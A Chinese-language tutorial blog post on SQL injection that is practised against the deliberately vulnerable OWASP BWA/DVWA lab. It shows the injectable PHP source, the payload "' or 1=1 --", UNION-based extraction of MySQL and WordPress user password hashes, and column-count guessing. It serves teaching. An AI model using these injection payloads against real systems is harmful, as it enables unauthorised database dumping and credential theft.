当前位置: 首页 > news >正文

4.sql注入攻击(OWASP实战训练)

4.sql注入攻击(OWASP实战训练)

  • 引言
  • 1,实验环境owasp,kali Linux。
  • 2,sql注入危害
  • 3,sql基础回顾
  • 4,登录owasp
  • 5,查询实例
  • (1)简单查询实例
  • (2)条件查询实例
  • (3)联合查询UNION
  • 6,如何猜前面字段数
  • 总结:

引言

Sql注入是注入漏洞的榜首
注入漏洞危害极大,sql注入为其中一种是我们常见的。

  在owasp年度top10安全问题中,注入高居榜首,sql注入攻击是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是sql语法的一些组合,通过执行sql语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
  1,对于web应用程序而言,用户核心数据存储在数据库中,例如MySQL、sqlserver、Oracle;
  2,通过sql注入攻击。可以获取、修改、删除数据库信息,并且通过提权来控制web服务器等其他操作;
  3,Sql注入即攻击者通过构造特殊的sql语句,入侵目标系统,致使后台数据库泄露数据的过程
  4,因为sql注入漏洞造成严重危害性,所以常年稳居owasp top10的榜首

  网站后台管理员账号也在数据库中,数据库重点攻击的方面,游戏拖库,等等。我们平常在京东或者双11检索产品时,买个笔记本,选一些条件(内存,品牌),其实我们点击按钮后就是一条sql语句,只是里面加了一些条件,包括下单也是sql语句(数据库的update操作)
  Sql语句不能随便改的,sql语句是写在后端的,前端源码是可以拿到的,后端不能拿到也不能改,前端的代码是可以改的,后端不能改。如前端限制只能输入30个字符,我们可以在发送请求时将其改掉。后端代码是看不到的,后端代码交给中间件处理,交给webserver由其作出响应。这边看到的只是前端的东西。
  我们在搜索框中搜索东西,其实执行的sql语句写死的,可能接受的品牌厂商,已经写好厂商华为或者联想。

1,实验环境owasp,kali Linux。

2,sql注入危害

  1. 拖库导致用户数据泄露;(电话,身份证信息等)
  2. 危害web等应用的安全(如网站)
  3. 失去操作系统的控制权
  4. 用户信息被非法买卖
  5. 危害企业及国家安全

3,sql基础回顾

Sql语句必须了解,主要是select语句

(1)打开sql injection模块
(2)输入1提交

ID: 1
First name: admin
Surname: admin

(3)打开源代码查看

<?php     if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } 
} 
?>

  Sql注入是希望其查一些我们希望要的东西,表象看到的是改不了,而我们sql注入就是在其看起来不能改的情况下去改。改完以后是不能将其sql语句删除的,只能在输入的地方做一些特殊构造,来实现不可告人的目的。

 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 

比如想要查别的表,在这条语句怎么输也查不了,拖库也就没戏,我们想要的是将其整个数据库拿下。
在输入框中输入 ' or 1=1 -- dddddd 下方会出现

ID: ' or 1=1 -- dddddd
First name: admin
Surname: admin
ID: ' or 1=1 -- dddddd
First name: Gordon
Surname: Brown
ID: ' or 1=1 -- dddddd
First name: Hack
Surname: Me
ID: ' or 1=1 -- dddddd
First name: Pablo
Surname: Picasso
ID: ' or 1=1 -- dddddd
First name: Bob
Surname: Smith
ID: ' or 1=1 -- dddddd
First name: user
Surname: user

  按照原来的套路只能查询id为1的用户,而现在查询了所有的信息,这个是对方不愿给你的,但我们一步步做到了。
  Sql注入很有用也很强大,一旦你的数据库有注入点,那么所有的数据都会被抱走。
  刚才的行为就是构造了一个特殊的输入。

4,登录owasp

项目环境:owasp
表1:dvwa.user
表2:wordpress.wp_users
表3:mysql.user

root@owaspbwa:~# mysql -uroot -powaspbwa
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 582
Server version: 5.1.41-3ubuntu12.6-log (Ubuntu)Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> 
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| .svn               |
| bricks             |
| bwapp              |
| citizens           |
| cryptomg           |
| dvwa               |
| gallery2           |
| getboo             |
| ghost              |
| gtd-php            |
| hex                |
| isp                |
| joomla             |
| mutillidae         |
| mysql              |
| nowasp             |
| orangehrm          |
| personalblog       |
| peruggia           |
| phpbb              |
| phpmyadmin         |
| proxy              |
| rentnet            |
| sqlol              |
| tikiwiki           |
| vicnum             |
| wackopicko         |
| wavsepdb           |
| webcal             |
| webgoat_coins      |
| wordpress          |
| wraithlogin        |
| yazd               |
+--------------------+
34 rows in set (0.55 sec)
mysql> select database();		//查看当前所在库
+------------+
| database() |
+------------+
| NULL       |
+------------+
1 row in set (0.00 sec)
mysql> select user();		//此函数返回当前用户
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
mysql> select now();		//返回当前时间mysql> use dvwa;			进入库
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
mysql> show tables;					查看有哪些表
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
2 rows in set (0.00 sec)
mysql> DESCRIBE users;				大写可以补全,查看特定表结构
+------------+-------------+------+-----+---------+-------+
| Field      | Type        | Null | Key | Default | Extra |
+------------+-------------+------+-----+---------+-------+
| user_id    | int(6)      | NO   | PRI | 0       |       |
| first_name | varchar(15) | YES  |     | NULL    |       |
| last_name  | varchar(15) | YES  |     | NULL    |       |
| user       | varchar(15) | YES  |     | NULL    |       |
| password   | varchar(32) | YES  |     | NULL    |       |
| avatar     | varchar(70) | YES  |     | NULL    |       |
+------------+-------------+------+-----+---------+-------+
6 rows in set (0.00 sec)
//这个看的是表的结构,查数据依托表结构才能查,如类型数字、字符。
mysql> show create table users\G     创建表  \G排序

DDL构造房屋框架
Bml对数据操作
DCL数据库控制语言,体现在授权、撤销权限
DQL数据库查询语言

mysql> select * from users;				从users表查询内容,可以\G让其格式有序

查字段是需要知道表的结构的

mysql> select user,password as avatar from users;		avatar是别名
mysql> select user,password  avatar from users;		用逗号隔开是字段,后面空着相当于上面的别名,加个逗号就是三个字段了如下
mysql> select user,password,avatar from users;	

我们的sql注入就是select语句别的是不需要的。

5,查询实例

(1)简单查询实例

当前库dvwa dvwa.users

mysql> select * from users;
mysql> select user_id,first_name,last_name from users;

其他库 mysql.user

mysql> desc mysql.user;
mysql> select * from mysql.user;
mysql> select user,password,host from mysql.user;

其他库 wordpress.user

mysql> desc wordpress.user;
mysql> select * from wordpress.user;
mysql> select user,password,host from wordpress.user;

(2)条件查询实例

mysql> select user,password,host from mysql.user where user=’root’;
mysql>select user,password,host from mysql.user where user=’root’and host = ’localhost’;
mysql> select user,password,host from mysql.user where user=’root’or host = ’localhost’;
mysql> desc dvwa.users;
mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge';
mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge' or 1=1;
mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'admin' and 1=2;

注意:若输入不正确在数据库中语句,可能是单引号是中文的原因

mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

(3)联合查询UNION

mysql> select user,password from mysql.user;
mysql> select user_login,user_pass from wordpress.wp_users;
mysql> select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;mysql> select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_users;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

注意:union查询前后字段数必须相同,如下

mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

在mysql中不加引号表示字段

Select user,password,host from mysql.user where user=password;

//此句语法没错,但是password未加引号,把他当成了字段从两张表里寻找,加上引号表示字段的值

Select user,password,host from mysql.user where a.user=b.password;

//

Select user,password,host from mysql.user where user=’root’;

//选择user字段的值为root的从mysql数据库的user表中

Select user,password,host from mysql.user where user_id=1;

纯数字不能作为字段,一定是个值,加引号有可能将其作为字符串对待。

Sql注入有个大前提原来的语句动不了,只能自己加戏如

mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge';

这句话在数据库中是找不到的

mysql> select user_id,first_name,last_name from dvwa.users where first_name = 'yangge' or 1=1;

这句话是可以显示内容的,只是为了构造一个为真的条件,1=1是最简单的条件
我们在上一小节中讲到的在输入框中输入 ’ or 1=1 – dddddd
从源码可知

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 

上面的话变成了下面的

SELECT first_name, last_name FROM users WHERE user_id = '$id' or‘1=1’

之前是查询id号,则id就是where后的限制条件,我们将后面的条件变为真,就会将此表中的所有数据都显示出来
有些东西不能改变的就不要改变了,就改自己能改的

这是sql注入最初的样子

mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

假如我们让其条件为真了,是表的所有内容吗?不是,前面的字段是别人写死的,表也是别人写死的,最多最多能返回这个表中这些字段的所有值。并不是我们想要的所有东西,无论怎么玩都只是这些东西。但我们想要拖库。
这段命令不能查询别的表,这个条件只能查询这一张表,所以我们要是用union再联合一个查询语句。
我们要自加sql语句前面只能在其自己限定的表中查询,而后面可以再加一张表查询
Union并不复杂只是再加一条sql语句

mysql> select user,password,host from mysql.user union select user_login,user_pass from wordpress.wp_users;
ERROR

注意:union查询前后字段数必须相同,如下

mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

但是会出错,前面的字段数我们并不知道,也不能改,所以要试错,再加一个字段(数字即可,数字是可以充当字段的)
1,第一并不知道前面字段数
2,后面字段是什么也不知道
3,如果知道前面有5个字段的话,怎么去给后面字段补上5个,如何补齐字段,用数字凑

我们有个大神information_schema数据库字典
为什么sql注入学不会,需要一步一步来,我们要达到看懂的地步。

还有问题要声明一下,

mysql> select user,password,host from mysql.user union select user_login,user_pass,1 from wordpress.wp_users limit 5;
+------------------+-------------------------------------------+---------------+
| user             | password                                  | host          |
+------------------+-------------------------------------------+---------------+
| root             | *73316569DAC7839C2A784FF263F5C0ABBC7086E2 | localhost     |
| root             | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | brokenwebapps |
| root             | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | 127.0.0.1     |
| debian-sys-maint | *75F15FF5C9F06A7221FEB017724554294E40A327 | localhost     |
| phpmyadmin       | *D5D9F81F5542DE067FFF5FF7A4CA4BDD322C578F | localhost     |
+------------------+-------------------------------------------+---------------+
5 rows in set (0.00 sec)

上面这条语句只是查看前5行的数据,有时数据太多可能成百上千行,我们要限制行数,还有显示的内容是以前面3个字段为主的,而我们想要的是后面字段的内容,可以将前面的内容否定掉如下

mysql> select user,password,host from mysql.user where 1=2 union select user_login,user_pass,1 from wordpress.wp_users limit 5;
+-------+----------------------------------+------+
| user  | password                         | host |
+-------+----------------------------------+------+
| admin | 21232f297a57a5a743894a0e4a801fc3 | 1    |
| user  | ee11cbb19052e40b07aac0ca060c23ee | 1    |
+-------+----------------------------------+------+
2 rows in set (0.00 sec)

前面的只是我们借着来查询后面的数据,不要在意字段名,而要关注内容值。

6,如何猜前面字段数

思考:前面的查询已经写死了,如何使下面的语句成功?

mysql> select * from dvwa.users;
> union
> mysql> select user_login,user_pass from wordpress.wp_user;

方法:猜字段数

mysql> select * from dvwa.users union select 1;
mysql> select * from dvwa.users union select 1,2;
mysql> select * from dvwa.users union select 1,2,3;
mysql> select * from dvwa.users union select 1,2,3,4;
mysql> select * from dvwa.users union select 1,2,3,4,5;
mysql> select * from dvwa.users union select 1,2,3,4,5,6;
mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_user;

如果对前面的不关注,就加上1=2不成立的条件,只显示后面的表。

总结:

1,使用或,布尔方式,另其1=1,只能查它限制的表,想到别的地方去做不到
2,使用union,自己再加一条select语句可以查别的,但也会受到权限的限制,人家开发人员已经定义好了,让哪个用户去连接哪个库。如果此用户只对某个库有权限,可以查这个库所有数据,若对所有库都有权限,都能查询。查询时,一般情况下,对当前查询的库有所有权限。

不要想着拿到一个账号可以拿到其他所有的库,一个mysql数据库可能有很多业务库但能不能都拿到不好说。

可能有的人觉得sql注入太麻烦,有手工注入,也有自动注入(程序帮自己尝试)

相关文章:

4.sql注入攻击(OWASP实战训练)

4.sql注入攻击&#xff08;OWASP实战训练&#xff09; 引言1&#xff0c;实验环境owasp&#xff0c;kali Linux。2&#xff0c;sql注入危害3&#xff0c;sql基础回顾4&#xff0c;登录owasp5&#xff0c;查询实例&#xff08;1&#xff09;简单查询实例&#xff08;2&#xff0…...

前端Web开发HTML5+CSS3+移动web视频教程 Day1

链接 HTML 介绍 写代码的位置&#xff1a;VSCode 看效果的位置&#xff1a;谷歌浏览器 安装插件 open in browser&#xff1a; 接下来要保证每次用 open in browser 打开的是谷歌浏览器。只需要将谷歌浏览器变为默认的浏览器就可以了。 首先进入控制面板&#xff0c;找到默…...

中医实训室:在传统针灸教学中的应用与创新

中医实训室是中医教育体系中的重要组成部分&#xff0c;尤其在传统针灸教学中&#xff0c;它扮演着无可替代的角色。这里是理论与实践的交汇点&#xff0c;是传统技艺与现代教育理念的碰撞之地。本文将探讨中医实训室在传统针灸教学中的应用与创新实践。 首先&#xff0c;实训室…...

React Hooks 小记(七)_useReducer

useReducer usereducer 相当于 复杂的 useState 当状态更新逻辑较复杂时可以考虑使用 useReducer。useReducer 可以同时更新多个状态&#xff0c;而且能把对状态的修改从组件中独立出来。 相比于 useState&#xff0c;useReducer 可以更好的描述“如何更新状态”。例如&#…...

甲子光年专访天润融通CEO吴强:客户经营如何穿越低速周期?

作者&#xff5c;陈杨、编辑&#xff5c;栗子 社会的发展从来都是从交流和联络开始的。 从结绳记事到飞马传信&#xff0c;从电话电报到互联网&#xff0c;人类的联络方式一直都在随着时代的发展不断进步。只是传统社会通信受限于技术导致效率低下&#xff0c;对经济社会产生影…...

还不到6个月,GPTs黄了

相比起来&#xff0c;人们还不如使用一个足够强大、灵活且通用的AI助手来满足各类复杂需求。更严重的是一些独立GPTs显露出的安全隐患。除此之外&#xff0c;最大的问题在于OpenAI模糊不清的货币化政策。 文章正文 上周&#xff0c;不少人发现微软官网忽然更新了一条“GPT Bu…...

IOS Swift 从入门到精通:BlurEffect BlendMode stroke

文章目录 UIBlurEffectBlendModestroke基本用法:描边样式:与strokeBorder的区别:组合使用:自定义形状:UIBlurEffect 在Swift中,实现模糊效果通常是通过UIKit框架中的UIBlurEffect类来完成的,这通常被称作毛玻璃效果。 **创建UIBlurEffect实例:**选择一个模糊效果的样…...

西木科技Westwood-Robotics人型机器人Bruce配置和真机配置

西木科技Westwood-Robotics人型机器人Bruce配置和真机配置 本文内容机器人介绍Bruce机器人Gazebo中仿真代码部署Bruce真机代码部署 本文内容 人形机器人Brcue相关介绍docker中安装Gazebo并使用Bruce机器人控制器更换环境配置 机器人介绍 公司&#xff1a;西木科技Westwood-R…...

【招聘贴】JAVA后端·唯品会·BASE新加坡

作者|老夏&#xff08;题图&#xff1a;公司业务介绍页&#xff09; “ 请注意&#xff0c;这两个岗是BASE新加坡的&#xff0c;欢迎推荐给身边需要的朋友&#xff08;特别是在新加坡的&#xff09;。” VIP海外业务-产品技术团队&#xff0c;这两个岗位属于后端工程组的岗&…...

CVPR2024|vivo提出使用对抗微调获得泛化性更强的SAM,分割性能直接登顶 SOTA!

在计算机视觉不断发展的领域中&#xff0c;基础模型已成为一种关键工具&#xff0c;显示出对多种任务的出色适应性。其中&#xff0c;由 Meta AI 开发的 Segment Anything Model&#xff08;SAM&#xff09;在图像分割任务中表现杰出。然而&#xff0c;和其他类似模型一样&…...

程序员必备的ChatGPT技巧:从代码调试到项目管理

近年来&#xff0c;随着人工智能技术的迅猛发展&#xff0c;ChatGPT作为一种强大的对话式AI工具&#xff0c;已经广泛应用于各个领域。而对于程序员来说&#xff0c;ChatGPT不仅可以帮助他们解决编程中的各种问题&#xff0c;还能在项目管理中发挥重要作用。本篇博客将详细介绍…...

JAVA开发的一套医院绩效考核系统源码:KPI关键绩效指标的清晰归纳

KPI是关键绩效指标&#xff08;Key Performance Indicators&#xff09;的缩写&#xff0c;它是一种用于衡量员工或组织绩效的量化指标。这些指标通常与组织的目标和战略相关&#xff0c;并帮助管理层评估员工和组织的实际表现。KPI还可以为员工提供清晰的方向&#xff0c;使他…...

面向对象编程——python

目录 一、面向对象编程 1.1 类和对象 1.2 继承 1.3 封装 1.4 多态 1.5 Python中的面向对象编程 二、类、对象和变量 2.1 类&#xff08;Class&#xff09; 2.2.1 类的属性&#xff08;Class Attributes&#xff09; 2.2.2 类的方法&#xff08;Class Methods…...

【LeetCode】每日一题:合并K个升序链表

给你一个链表数组&#xff0c;每个链表都已经按升序排列。 请你将所有链表合并到一个升序链表中&#xff0c;返回合并后的链表。 解题思路 分治加两个链表合并&#xff0c;或者用根堆&#xff0c;根堆的初始化方法很值得背诵&#xff0c;还涉及lambda的用法 AC代码 # Defini…...

从零开始学docker(四)-安装mysql及主从配置(一)

mysql MySQL是一个关系型数据库管理系统&#xff0c;由瑞典MySQL AB 公司开发&#xff0c;属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一&#xff0c;在 WEB 应用方面&#xff0c;MySQL是最好的 RDBMS (Relational Database Management System&#xff0c;关…...

【目标检测】Yolov8 完整教程 | 检测 | 计算机视觉

学习资源&#xff1a;https://www.youtube.com/watch?vZ-65nqxUdl4 努力的小巴掌 记录计算机视觉学习道路上的所思所得。 1、准备图片images 收集数据网站&#xff1a;OPEN IMAGES 2、准备标签labels 网站&#xff1a;CVAT 有点是&#xff1a;支持直接导出yolo格式的标…...

新能源汽车 LabCar 测试系统方案(-)

什么是LabCar测试 LabCar测试目标是进行整车黄板台架功能测试&#xff0c;用于整车开发和测试阶段&#xff0c;满足设计人员和测试人员的试验需求&#xff0c;以验证整车性能&#xff0c;减少开发工作量。系统主要用于测试静态及动态工况下的纯电动汽车的各项功能实现情况。 …...

机器学习辅助的乙醇浓度检测(毕设节选)

目录 1.为什么要机器学习 2. 神经网络一般组成 3.BP神经网络工作过程 4.评价指标 5.实操代码 1.为什么要用机器学习 人工分析大量的谐振模式&#xff0c;建立各种WGM的响应与未知目标之间的关系&#xff0c;是一个很大的挑战。机器学习(ML)能够自行识别全谱的全部特征。作为…...

YOLO系列改进

yolo核心思想&#xff1a;把目标检测转变成一个回归问题。将整个图像作为网络的输入&#xff0c;仅仅经过一个神经网络&#xff0c;得到边界框的位置及其所属的类别。 YOLOv1 CVPR2016 输出7730的张量表示2个框的5个参数和20个种类。leaky ReLU&#xff0c;leaky并不会让负数…...

cuda与cudnn下载(tensorflow-gpu)

目录 前言 正文 前言 &#xff01;&#xff01;&#xff01;tensorflow-gpu的版本要与cuda与cudnn想对应。这点十分重要&#xff01;推荐下载较新的。即tensorflow-gpu2.60及以上&#xff0c;cuda11.x及以上&#xff0c;cudnn8.x及以上。 所以&#xff0c;下载之前先检查好…...

使用VSCode开发Django指南

使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架&#xff0c;专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用&#xff0c;其中包含三个使用通用基本模板的页面。在此…...

k8s从入门到放弃之Ingress七层负载

k8s从入门到放弃之Ingress七层负载 在Kubernetes&#xff08;简称K8s&#xff09;中&#xff0c;Ingress是一个API对象&#xff0c;它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress&#xff0c;你可…...

【第二十一章 SDIO接口(SDIO)】

第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...

12.找到字符串中所有字母异位词

&#x1f9e0; 题目解析 题目描述&#xff1a; 给定两个字符串 s 和 p&#xff0c;找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义&#xff1a; 若两个字符串包含的字符种类和出现次数完全相同&#xff0c;顺序无所谓&#xff0c;则互为…...

前端开发面试题总结-JavaScript篇(一)

文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包&#xff08;Closure&#xff09;&#xff1f;闭包有什么应用场景和潜在问题&#xff1f;2.解释 JavaScript 的作用域链&#xff08;Scope Chain&#xff09; 二、原型与继承3.原型链是什么&#xff1f;如何实现继承&a…...

AI编程--插件对比分析:CodeRider、GitHub Copilot及其他

AI编程插件对比分析&#xff1a;CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展&#xff0c;AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者&#xff0c;分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...

UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)

UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中&#xff0c;UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化&#xf…...

Redis的发布订阅模式与专业的 MQ(如 Kafka, RabbitMQ)相比,优缺点是什么?适用于哪些场景?

Redis 的发布订阅&#xff08;Pub/Sub&#xff09;模式与专业的 MQ&#xff08;Message Queue&#xff09;如 Kafka、RabbitMQ 进行比较&#xff0c;核心的权衡点在于&#xff1a;简单与速度 vs. 可靠与功能。 下面我们详细展开对比。 Redis Pub/Sub 的核心特点 它是一个发后…...

Linux 内存管理实战精讲:核心原理与面试常考点全解析

Linux 内存管理实战精讲&#xff1a;核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用&#xff0c;还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…...

深入浅出深度学习基础:从感知机到全连接神经网络的核心原理与应用

文章目录 前言一、感知机 (Perceptron)1.1 基础介绍1.1.1 感知机是什么&#xff1f;1.1.2 感知机的工作原理 1.2 感知机的简单应用&#xff1a;基本逻辑门1.2.1 逻辑与 (Logic AND)1.2.2 逻辑或 (Logic OR)1.2.3 逻辑与非 (Logic NAND) 1.3 感知机的实现1.3.1 简单实现 (基于阈…...